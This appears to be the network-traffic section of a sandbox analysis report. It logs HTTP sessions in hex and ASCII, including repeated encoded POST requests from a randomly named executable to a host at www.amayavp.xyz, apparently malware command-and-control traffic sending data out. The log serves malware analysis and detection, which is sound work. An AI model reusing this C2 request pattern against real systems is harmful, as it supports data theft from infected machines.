Nov 25, 2024 09:42:30.625463963 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 08:42:30 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Last-Modified: Fri, 25 Oct 2024 07:07:09 GMT Vary: Accept-Encoding cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mDVetU28pvZ34yHvxpWXSkTDrLK3GZY4KTcvrekEZG6yjfLNdbj2Uh03XrTe6i%2B27H4n49ja8Ogi1Rdb6chgfSukWlb8GlKvcL1Yvr%2Bkx55u9rn4ZQlfum6oUCKyIu8VGNphQQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e8058833c2c0f4d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1545&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=517&delivery_rate=0&cwnd=215&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 35 36 62 38 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 22 3e 0a 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 0a 09 09 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 2c 76 69 65 77 70 6f 72 74 2d 66 69 74 3d 63 6f 76 65 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 66 61 76 69 63 6f 6e 2e 69 63 6f 22 3e 0a 09 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 79 65 73 22 20 6e 61 6d 65 3d 22 61 70 70 6c 65 2d 6d 6f 62 69 6c 65 2d 77 65 62 2d 61 70 70 2d 63 61 70 61 [TRUNCATED] Data Ascii: 56b8<html lang=""><head><meta charset="utf-8"><meta name="viewport"content="width=device-width,initial-scale=1,maximum-scale=1,minimum-scale=1,user-scalable=no,viewport-fit=cove" /><meta http-equiv="X-UA-Compatible" content="IE=edge"><link rel="icon" href="favicon.ico"><meta content="yes" name="apple-mobile-web-app-capable"><meta content="yes" name="apple-touch-fullscreen"><title>actionarena.top: Where
Nov 25, 2024 09:42:30.625514984 CET	1236	IN	Data Raw: 68 61 70 70 69 6e 65 73 73 20 6d 65 65 74 73 20 69 6e 6e 6f 76 61 74 69 6f 6e 20 7c 20 4f 6e 6c 69 6e 65 20 47 61 6d 65 20 7c 20 46 72 65 65 20 47 61 6d 65 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 63 73 73 2f 63 68 75 6e Data Ascii: happiness meets innovation \| Online Game \| Free Game</title><link href="css/chunk-common.2627b58b.css" rel="preload" as="style"><link href="css/chunk-vendors.df919975.css" rel="preload" as="style"><link href="css/chunk-vendors.df919975.c
Nov 25, 2024 09:42:30.625550032 CET	1236	IN	Data Raw: 75 62 61 64 73 28 29 2e 65 6e 61 62 6c 65 53 69 6e 67 6c 65 52 65 71 75 65 73 74 28 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 67 6f 6f 67 6c 65 74 61 67 2e 65 6e 61 62 6c 65 53 65 72 76 69 63 65 73 28 29 3b 0a 20 20 20 20 20 20 20 20 7d 29 3b Data Ascii: ubads().enableSingleRequest(); googletag.enableServices(); }); </script> adEnd--><script>window.aiptag = window.aiptag \|\| {cmd: []};aiptag.cmd.display = aiptag.cmd.display \|\| [];aiptag.cmd.player = aiptag
Nov 25, 2024 09:42:30.625586987 CET	1236	IN	Data Raw: 6c 61 79 65 72 20 21 3d 3d 20 27 75 6e 64 65 66 69 6e 65 64 27 29 20 7b 0a 09 09 09 09 61 69 70 74 61 67 2e 63 6d 64 2e 70 6c 61 79 65 72 2e 70 75 73 68 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 20 61 69 70 74 61 67 2e 61 64 70 6c 61 79 65 72 2e 73 Data Ascii: layer !== 'undefined') {aiptag.cmd.player.push(function() { aiptag.adplayer.startVideoAd(); });} else {//Adlib didnt load this could be due to an adblocker, timeout etc.//Please add your script here that starts the content,
Nov 25, 2024 09:42:30.625618935 CET	1236	IN	Data Raw: 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 3c 2f 61 3e 0a 09 09 09 3c 61 20 64 61 74 61 2d 76 2d 34 39 37 35 39 38 31 39 3d 22 22 20 68 72 65 66 3d 22 73 65 61 72 63 68 2e 68 74 6d 6c 3f 74 79 70 65 3d 50 6f 70 75 6c 61 72 22 20 63 6c 61 73 73 3d 22 Data Ascii: </div></a><a data-v-49759819="" href="search.html?type=Popular" class="type_item" style="display: none;"></a><a data-v-49759819="" href="search.html?type=Girls" class="type_item"><div data-v-49759819=""><img data-
Nov 25, 2024 09:42:30.625691891 CET	1236	IN	Data Raw: 69 74 65 6d 22 3e 0a 09 09 09 09 3c 64 69 76 20 64 61 74 61 2d 76 2d 34 39 37 35 39 38 31 39 3d 22 22 3e 0a 09 09 09 09 09 3c 69 6d 67 20 64 61 74 61 2d 76 2d 34 39 37 35 39 38 31 39 3d 22 22 20 61 6c 74 3d 22 22 20 73 72 63 3d 22 69 6d 67 2f 72 Data Ascii: item"><div data-v-49759819=""><img data-v-49759819="" alt="" src="img/racing.1bfb9b83.png" data-src="img/racing.1bfb9b83.png"style="width: 1.5rem; height: 1.5rem;"><span data-v-49759819="" class="item_name">Racin
Nov 25, 2024 09:42:30.625726938 CET	1236	IN	Data Raw: 34 39 37 35 39 38 31 39 3d 22 22 20 63 6c 61 73 73 3d 22 69 74 65 6d 5f 6e 61 6d 65 22 3e 0a 09 09 09 09 09 09 53 70 6f 72 74 73 0a 09 09 09 09 09 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 3c 2f 61 3e 0a 09 09 09 3c 61 20 Data Ascii: 49759819="" class="item_name">Sports</span></div></a><a data-v-49759819="" href="search.html?type=Action" class="type_item"><div data-v-49759819=""><img data-v-49759819="" alt="" src="img/action.6b95a5ff.pn
Nov 25, 2024 09:42:30.625761986 CET	1236	IN	Data Raw: 69 76 20 64 61 74 61 2d 76 2d 34 39 37 35 39 38 31 39 3d 22 22 20 63 6c 61 73 73 3d 22 6d 65 6e 75 22 3e 0a 09 09 09 09 09 3c 73 76 67 20 64 61 74 61 2d 76 2d 34 39 37 35 39 38 31 39 3d 22 22 20 74 3d 22 31 36 38 37 32 34 34 32 32 32 39 33 35 22 Data Ascii: iv data-v-49759819="" class="menu"><svg data-v-49759819="" t="1687244222935" viewBox="0 0 1024 1024" version="1.1"xmlns="http://www.w3.org/2000/svg" p-id="19883" xmlns:xlink="http://www.w3.org/1999/xlink"width="1.8rem" heig
Nov 25, 2024 09:42:30.625797033 CET	1236	IN	Data Raw: 72 65 66 3d 22 73 65 61 72 63 68 2e 68 74 6d 6c 3f 71 3d 22 20 63 6c 61 73 73 3d 22 73 65 61 72 63 68 22 3e 0a 09 09 09 09 09 3c 73 76 67 20 64 61 74 61 2d 76 2d 34 39 37 35 39 38 31 39 3d 22 22 20 74 3d 22 31 36 38 37 32 34 34 35 35 30 39 31 31 Data Ascii: ref="search.html?q=" class="search"><svg data-v-49759819="" t="1687244550911" viewBox="0 0 1024 1024" version="1.1"xmlns="http://www.w3.org/2000/svg" p-id="3078" data-spm-anchor-id="a313x.7781069.0.i2"xmlns:xlink="http://ww
Nov 25, 2024 09:42:30.625833035 CET	1236	IN	Data Raw: 70 65 3d 22 74 65 78 74 22 20 70 6c 61 63 65 68 6f 6c 64 65 72 3d 22 69 6e 70 75 74 20 74 68 65 20 6b 65 79 77 6f 72 64 73 22 20 63 6c 65 61 72 61 62 6c 65 3d 22 22 20 64 65 66 61 75 6c 74 76 61 6c 75 65 3d 22 22 3e 0a 09 09 09 09 3c 64 69 76 20 Data Ascii: pe="text" placeholder="input the keywords" clearable="" defaultvalue=""><div data-v-0544793f=""><svg data-v-0544793f="" t="1680079992751" viewBox="0 0 1024 1024" version="1.1"xmlns="http://www.w3.org/2000/svg" p-id="15827" wi
Nov 25, 2024 09:42:30.745532036 CET	1236	IN	Data Raw: 64 2d 2d 3e 0a 09 09 09 09 09 3c 64 69 76 20 69 64 3d 27 61 63 74 69 6f 6e 61 72 65 6e 61 2d 74 6f 70 5f 33 30 30 78 32 35 30 27 3e 0a 09 09 09 09 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 3e 0a Data Ascii: d--><div id='actionarena-top_300x250'><script type='text/javascript'>aiptag.cmd.display.push(function() { aipDisplayTag.display('actionarena-top_300x250'); });</script></div><div ><div class="top_

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49742	185.27.134.144	80	3164	C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 09:42:46.719499111 CET	777	OUT	POST /572a/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Host: www.amayavp.xyz Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 201 Origin: http://www.amayavp.xyz Referer: http://www.amayavp.xyz/572a/ User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 BIDUBrowser/7.6 Safari/537.36 Data Raw: 69 66 7a 74 3d 73 78 58 41 43 63 68 72 38 46 30 69 35 31 4c 69 4e 32 4c 4c 41 47 63 50 6c 54 53 56 72 76 75 6b 41 71 37 6d 4c 78 59 6e 6a 45 55 65 34 48 32 61 32 78 39 57 7a 54 6e 31 59 68 2b 33 65 37 64 38 46 72 7a 53 4b 54 61 4b 58 33 48 53 64 54 65 6a 4b 44 69 61 6c 4e 77 5a 6c 73 47 72 62 36 2f 35 72 47 32 48 59 41 50 30 52 74 74 4c 48 78 30 6c 65 63 50 6d 52 64 62 55 4d 6c 77 4c 67 76 2f 42 56 66 49 48 37 5a 4b 4d 42 48 6b 4d 6f 75 6d 35 43 51 77 49 49 4f 38 4a 57 56 58 74 41 78 48 50 52 67 38 45 68 42 45 47 4f 57 58 6f 34 51 75 2b 56 36 75 62 50 32 65 37 64 36 43 64 67 31 52 52 41 77 3d 3d Data Ascii: ifzt=sxXACchr8F0i51LiN2LLAGcPlTSVrvukAq7mLxYnjEUe4H2a2x9WzTn1Yh+3e7d8FrzSKTaKX3HSdTejKDialNwZlsGrb6/5rG2HYAP0RttLHx0lecPmRdbUMlwLgv/BVfIH7ZKMBHkMoum5CQwIIO8JWVXtAxHPRg8EhBEGOWXo4Qu+V6ubP2e7d6Cdg1RRAw==
Nov 25, 2024 09:42:48.000629902 CET	683	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 25 Nov 2024 08:42:47 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Expires: Thu, 01 Jan 1970 00:00:01 GMT Cache-Control: no-cache Content-Encoding: br Data Raw: 31 62 39 0d 0a a1 f0 19 00 20 97 3a 9d 56 9d 4a d6 59 36 4b b1 e2 bc 4b 3c 35 5b f1 45 41 2c 0d 9c 13 75 a2 53 8d 6c f0 cd 92 13 07 3c e1 f2 a8 9b 1d ec a0 b7 b9 66 cf fe 04 a9 07 c7 dc 1a 81 74 49 60 9a 4e 0f b5 1a 01 fc a4 a2 3d c3 64 82 6e 15 0f 57 94 34 9d e4 c6 4c f9 66 2e 65 3d c3 c8 59 05 16 e0 94 83 d7 f7 da fa 21 93 04 71 cc 92 1e 37 82 54 19 e7 0e 1c 96 b4 e5 99 64 ec 1f e2 be fb 9f 22 71 e7 f6 01 fb 85 6b c5 c2 eb 3b b7 90 01 ec 1a 4d eb fa f1 b1 14 8a fe d2 df d3 bf 98 2d 01 ce 97 4b fc 3e d5 e1 db 82 79 ee 80 52 ee 21 ad 7d c7 be 6f 7b ed c3 90 b9 10 82 4c 36 f6 d5 bf 9f d2 94 b6 29 65 e1 c5 c5 04 1a 04 99 5c 76 d9 1b 12 fb 5f 6f 0f 01 a0 ff a0 5e 0a a1 51 d9 54 61 96 e5 b6 54 b2 32 b2 10 2d 65 b5 50 a9 2e 29 e3 da e6 b5 aa 8a b2 34 b9 73 ae 92 a6 50 aa ac 54 2a 54 2e 2a a1 4b e5 ab 74 80 cc e3 54 5a 83 5a f8 4a 95 b9 13 68 4a 34 69 2a 64 89 ca 3b 54 da 8f b8 b6 33 b3 6d f4 04 30 05 f4 f3 73 ed 56 6b a0 21 d2 10 c1 ce 9f 5f bf c4 d6 99 e5 f7 7c 1d 18 9e 73 e4 9a b1 90 d6 24 32 3f 84 6e [TRUNCATED] Data Ascii: 1b9 :VJY6KK<5[EA,uSl<ftI`N=dnW4Lf.e=Y!q7Td"qk;M-K>yR!}o{L6)e\v_o^QTaT2-eP.)4sPTT.KtTZZJhJ4i*d;T3m0sVk!_\|s$2?nIEWDEE[[up'yID+t}Ps_(eGQIKL#J-f"WeJrF$\|0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49743	185.27.134.144	80	3164	C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 09:42:49.382522106 CET	797	OUT	POST /572a/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Host: www.amayavp.xyz Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 221 Origin: http://www.amayavp.xyz Referer: http://www.amayavp.xyz/572a/ User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 BIDUBrowser/7.6 Safari/537.36 Data Raw: 69 66 7a 74 3d 73 78 58 41 43 63 68 72 38 46 30 69 35 56 62 69 65 68 6e 4c 49 47 63 4f 67 54 53 56 79 66 75 67 41 71 48 6d 4c 30 6f 33 2f 68 6b 65 39 56 65 61 78 79 6c 57 77 54 6e 31 41 52 2b 79 54 62 64 4a 46 72 2f 61 4b 57 61 4b 58 7a 6e 53 64 53 75 6a 4e 77 4b 5a 6b 64 77 4d 38 38 47 74 44 61 2f 35 72 47 32 48 59 41 61 52 52 74 6c 4c 48 41 45 6c 65 39 4f 55 51 64 62 54 45 46 77 4c 78 2f 2f 46 56 66 4a 69 37 64 4b 6d 42 45 63 4d 6f 73 2b 35 43 46 63 4a 52 2b 38 50 59 31 57 64 42 69 75 6b 58 77 74 55 70 52 73 55 4a 6d 53 46 35 57 6a 6b 45 4c 50 4d 64 32 36 49 41 39 4c 70 74 32 73 59 62 78 69 4f 64 78 2f 4d 53 51 34 56 44 6f 42 51 67 50 63 56 33 58 38 3d Data Ascii: ifzt=sxXACchr8F0i5VbiehnLIGcOgTSVyfugAqHmL0o3/hke9VeaxylWwTn1AR+yTbdJFr/aKWaKXznSdSujNwKZkdwM88GtDa/5rG2HYAaRRtlLHAEle9OUQdbTEFwLx//FVfJi7dKmBEcMos+5CFcJR+8PY1WdBiukXwtUpRsUJmSF5WjkELPMd26IA9Lpt2sYbxiOdx/MSQ4VDoBQgPcV3X8=
Nov 25, 2024 09:42:50.708312035 CET	683	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 25 Nov 2024 08:42:50 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Expires: Thu, 01 Jan 1970 00:00:01 GMT Cache-Control: no-cache Content-Encoding: br Data Raw: 31 62 39 0d 0a a1 f0 19 00 20 97 3a 9d 56 9d 4a d6 59 36 4b b1 e2 bc 4b 3c 35 5b f1 45 41 2c 0d 9c 13 75 a2 53 8d 6c f0 cd 92 13 07 3c e1 f2 a8 9b 1d ec a0 b7 b9 66 cf fe 04 a9 07 c7 dc 1a 81 74 49 60 9a 4e 0f b5 1a 01 fc a4 a2 3d c3 64 82 6e 15 0f 57 94 34 9d e4 c6 4c f9 66 2e 65 3d c3 c8 59 05 16 e0 94 83 d7 f7 da fa 21 93 04 71 cc 92 1e 37 82 54 19 e7 0e 1c 96 b4 e5 99 64 ec 1f e2 be fb 9f 22 71 e7 f6 01 fb 85 6b c5 c2 eb 3b b7 90 01 ec 1a 4d eb fa f1 b1 14 8a fe d2 df d3 bf 98 2d 01 ce 97 4b fc 3e d5 e1 db 82 79 ee 80 52 ee 21 ad 7d c7 be 6f 7b ed c3 90 b9 10 82 4c 36 f6 d5 bf 9f d2 94 b6 29 65 e1 c5 c5 04 1a 04 99 5c 76 d9 1b 12 fb 5f 6f 0f 01 a0 ff a0 5e 0a a1 51 d9 54 61 96 e5 b6 54 b2 32 b2 10 2d 65 b5 50 a9 2e 29 e3 da e6 b5 aa 8a b2 34 b9 73 ae 92 a6 50 aa ac 54 2a 54 2e 2a a1 4b e5 ab 74 80 cc e3 54 5a 83 5a f8 4a 95 b9 13 68 4a 34 69 2a 64 89 ca 3b 54 da 8f b8 b6 33 b3 6d f4 04 30 05 f4 f3 73 ed 56 6b a0 21 d2 10 c1 ce 9f 5f bf c4 d6 99 e5 f7 7c 1d 18 9e 73 e4 9a b1 90 d6 24 32 3f 84 6e [TRUNCATED] Data Ascii: 1b9 :VJY6KK<5[EA,uSl<ftI`N=dnW4Lf.e=Y!q7Td"qk;M-K>yR!}o{L6)e\v_o^QTaT2-eP.)4sPTT.KtTZZJhJ4i*d;T3m0sVk!_\|s$2?nIEWDEE[[up'yID+t}Ps_(eGQIKL#J-f"WeJrF$\|0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49744	185.27.134.144	80	3164	C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 09:42:52.039318085 CET	10879	OUT	POST /572a/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Host: www.amayavp.xyz Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 10301 Origin: http://www.amayavp.xyz Referer: http://www.amayavp.xyz/572a/ User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 BIDUBrowser/7.6 Safari/537.36 Data Raw: 69 66 7a 74 3d 73 78 58 41 43 63 68 72 38 46 30 69 35 56 62 69 65 68 6e 4c 49 47 63 4f 67 54 53 56 79 66 75 67 41 71 48 6d 4c 30 6f 33 2f 68 73 65 39 45 2b 61 78 53 5a 57 78 54 6e 31 65 68 2b 7a 54 62 64 75 46 72 33 65 4b 57 6d 38 58 78 66 53 66 31 47 6a 49 46 32 5a 74 64 77 4d 68 73 47 6f 62 36 2f 73 72 43 61 4c 59 41 4b 52 52 74 6c 4c 48 44 73 6c 58 4d 4f 55 53 64 62 55 4d 6c 77 50 67 76 2f 35 56 66 52 59 37 64 47 63 64 6b 38 4d 72 4d 75 35 4f 58 45 4a 4f 4f 38 4e 62 31 57 46 42 69 79 37 58 78 42 59 70 52 6f 36 4a 6b 4f 46 37 54 65 42 66 62 54 4a 43 30 71 74 51 4e 62 7a 6c 6b 34 7a 43 47 71 31 55 53 6e 4c 46 7a 49 72 59 76 77 44 35 4e 59 76 6d 53 49 42 2f 39 39 79 6b 7a 39 64 64 4c 63 39 6c 52 75 46 6e 56 34 6d 32 51 66 6c 4a 59 38 51 49 50 57 69 58 6a 74 74 48 39 4e 72 35 56 58 50 48 37 2f 43 4b 33 41 48 4b 74 67 50 75 37 74 71 33 44 31 52 77 6c 32 4a 65 66 66 62 35 61 67 4a 37 54 74 45 42 56 6a 70 38 55 48 4c 52 77 74 61 44 39 4f 49 50 38 2f 76 74 31 4f 39 6a 54 73 50 56 4e 64 5a 5a 52 7a 61 33 [TRUNCATED] Data Ascii: ifzt=sxXACchr8F0i5VbiehnLIGcOgTSVyfugAqHmL0o3/hse9E+axSZWxTn1eh+zTbduFr3eKWm8XxfSf1GjIF2ZtdwMhsGob6/srCaLYAKRRtlLHDslXMOUSdbUMlwPgv/5VfRY7dGcdk8MrMu5OXEJOO8Nb1WFBiy7XxBYpRo6JkOF7TeBfbTJC0qtQNbzlk4zCGq1USnLFzIrYvwD5NYvmSIB/99ykz9ddLc9lRuFnV4m2QflJY8QIPWiXjttH9Nr5VXPH7/CK3AHKtgPu7tq3D1Rwl2Jeffb5agJ7TtEBVjp8UHLRwtaD9OIP8/vt1O9jTsPVNdZZRza30hSLiQe5HNjmso6Dy0yVU+es5gx6Q3FfoJ676/VFXLgJMHklTZMlmyPIHclHRBcbizrnySQPup7WTiZr8wUSnLc6LCbv2WNl+MylT+XyZNY551YGAvDGJcgrZ9Kapnzoqv3kx4TkPuGV98rZmi+9W9eMjMPeEyeLcZajLUboAtjVzaDXTtn7kbqbzgMipAE4qRCwEColCQMBY5YCCBWU+862aTxXQpVcF8anssPyky31nzpPqWuwdf40Aps6qe5bSWmR2CQeYH0dNKEF0QFfrWyP9kIKJUgsGKnw+H/xmfWVDSMmmXHQoqZRcgeBjiTg52HcbA2BKSgyHMLMzjZyKBkye8yDCyG9ZStFrMHJMua7FB3jEc/1xs+hD+sv4NoGZYOx4+weZrNa0u3JLVa/X7Ze1+ls8A2brBcPqqIyr9R2snp58mOpV46ecLrhvEuLylOLlWMY8YkwKjt9F/Ye4MTwQeQYtT2ghJHUY1e86ks0O8LhUPF0aGXE8ZN1aDFfjSaBGaxB2+7yam5cpdBYjwUxxW+575w6bdvl2K+ON2dk5Jwj8iix34ov37rE3p9UMEd5EkNtOAnhEOv6OgJ0Y3KLrA5PPMaCBU91a9dn9A2G0kdLTnPkkHpaG0G3wNz3olM1sEVtRbz79Zt0Grgjx6i7tunTGYXex2 [TRUNCATED]
Nov 25, 2024 09:42:53.318517923 CET	683	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 25 Nov 2024 08:42:53 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Expires: Thu, 01 Jan 1970 00:00:01 GMT Cache-Control: no-cache Content-Encoding: br Data Raw: 31 62 39 0d 0a a1 f0 19 00 20 97 3a 9d 56 9d 4a d6 59 36 4b b1 e2 bc 4b 3c 35 5b f1 45 41 2c 0d 9c 13 75 a2 53 8d 6c f0 cd 92 13 07 3c e1 f2 a8 9b 1d ec a0 b7 b9 66 cf fe 04 a9 07 c7 dc 1a 81 74 49 60 9a 4e 0f b5 1a 01 fc a4 a2 3d c3 64 82 6e 15 0f 57 94 34 9d e4 c6 4c f9 66 2e 65 3d c3 c8 59 05 16 e0 94 83 d7 f7 da fa 21 93 04 71 cc 92 1e 37 82 54 19 e7 0e 1c 96 b4 e5 99 64 ec 1f e2 be fb 9f 22 71 e7 f6 01 fb 85 6b c5 c2 eb 3b b7 90 01 ec 1a 4d eb fa f1 b1 14 8a fe d2 df d3 bf 98 2d 01 ce 97 4b fc 3e d5 e1 db 82 79 ee 80 52 ee 21 ad 7d c7 be 6f 7b ed c3 90 b9 10 82 4c 36 f6 d5 bf 9f d2 94 b6 29 65 e1 c5 c5 04 1a 04 99 5c 76 d9 1b 12 fb 5f 6f 0f 01 a0 ff a0 5e 0a a1 51 d9 54 61 96 e5 b6 54 b2 32 b2 10 2d 65 b5 50 a9 2e 29 e3 da e6 b5 aa 8a b2 34 b9 73 ae 92 a6 50 aa ac 54 2a 54 2e 2a a1 4b e5 ab 74 80 cc e3 54 5a 83 5a f8 4a 95 b9 13 68 4a 34 69 2a 64 89 ca 3b 54 da 8f b8 b6 33 b3 6d f4 04 30 05 f4 f3 73 ed 56 6b a0 21 d2 10 c1 ce 9f 5f bf c4 d6 99 e5 f7 7c 1d 18 9e 73 e4 9a b1 90 d6 24 32 3f 84 6e [TRUNCATED] Data Ascii: 1b9 :VJY6KK<5[EA,uSl<ftI`N=dnW4Lf.e=Y!q7Td"qk;M-K>yR!}o{L6)e\v_o^QTaT2-eP.)4sPTT.KtTZZJhJ4i*d;T3m0sVk!_\|s$2?nIEWDEE[[up'yID+t}Ps_(eGQIKL#J-f"WeJrF$\|0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49745	185.27.134.144	80	3164	C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 09:42:54.690721989 CET	515	OUT	GET /572a/?ifzt=hz/gBsBCliEB3liRCjDcUFpXpjm75vqUHY7uUC9CoicjvHiRwDII6Rr7fwqPQOBPL5PXCDqoRSfvUw6rLDaKlN9Kt5+gU7jSjDaWWRyTQ8pSIxkDCsHDSL4=&qX=qP0hoZO0bjg4 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Host: www.amayavp.xyz Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 BIDUBrowser/7.6 Safari/537.36
Nov 25, 2024 09:42:56.021442890 CET	1174	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 25 Nov 2024 08:42:55 GMT Content-Type: text/html Content-Length: 973 Connection: close Expires: Thu, 01 Jan 1970 00:00:01 GMT Cache-Control: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 2f 61 65 73 2e 6a 73 22 20 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 3e 66 75 6e 63 74 69 6f 6e 20 74 6f 4e 75 6d 62 65 72 73 28 64 29 7b 76 61 72 20 65 3d 5b 5d 3b 64 2e 72 65 70 6c 61 63 65 28 2f 28 2e 2e 29 2f 67 2c 66 75 6e 63 74 69 6f 6e 28 64 29 7b 65 2e 70 75 73 68 28 70 61 72 73 65 49 6e 74 28 64 2c 31 36 29 29 7d 29 3b 72 65 74 75 72 6e 20 65 7d 66 75 6e 63 74 69 6f 6e 20 74 6f 48 65 78 28 29 7b 66 6f 72 28 76 61 72 20 64 3d 5b 5d 2c 64 3d 31 3d 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 26 26 61 72 67 75 6d 65 6e 74 73 5b 30 5d 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 41 72 72 61 79 3f 61 72 67 75 6d 65 6e 74 73 5b 30 5d 3a 61 72 67 75 6d 65 6e 74 73 2c 65 3d 22 22 2c 66 3d 30 3b 66 3c 64 2e 6c 65 6e 67 74 68 3b 66 2b 2b 29 65 2b 3d 28 31 36 3e 64 5b 66 5d 3f 22 30 22 3a 22 22 29 2b 64 5b 66 5d 2e 74 6f 53 74 72 69 6e 67 28 31 36 [TRUNCATED] Data Ascii: <html><body><script type="text/javascript" src="/aes.js" ></script><script>function toNumbers(d){var e=[];d.replace(/(..)/g,function(d){e.push(parseInt(d,16))});return e}function toHex(){for(var d=[],d=1==arguments.length&&arguments[0].constructor==Array?arguments[0]:arguments,e="",f=0;f<d.length;f++)e+=(16>d[f]?"0":"")+d[f].toString(16);return e.toLowerCase()}var a=toNumbers("f655ba9d09a112d4968c63579db590b4"),b=toNumbers("98344c2eee86c3994890592585b49f80"),c=toNumbers("06dcab5f8942e5ac4ac00564a9fea9bf");document.cookie="__test="+toHex(slowAES.decrypt(c,2,a,b))+"; expires=Thu, 31-Dec-37 23:55:55 GMT; path=/"; location.href="http://www.amayavp.xyz/572a/?ifzt=hz/gBsBCliEB3liRCjDcUFpXpjm75vqUHY7uUC9CoicjvHiRwDII6Rr7fwqPQOBPL5PXCDqoRSfvUw6rLDaKlN9Kt5+gU7jSjDaWWRyTQ8pSIxkDCsHDSL4=&qX=qP0hoZO0bjg4&i=1";</script><noscript>This site requires Javascript to work, please enable 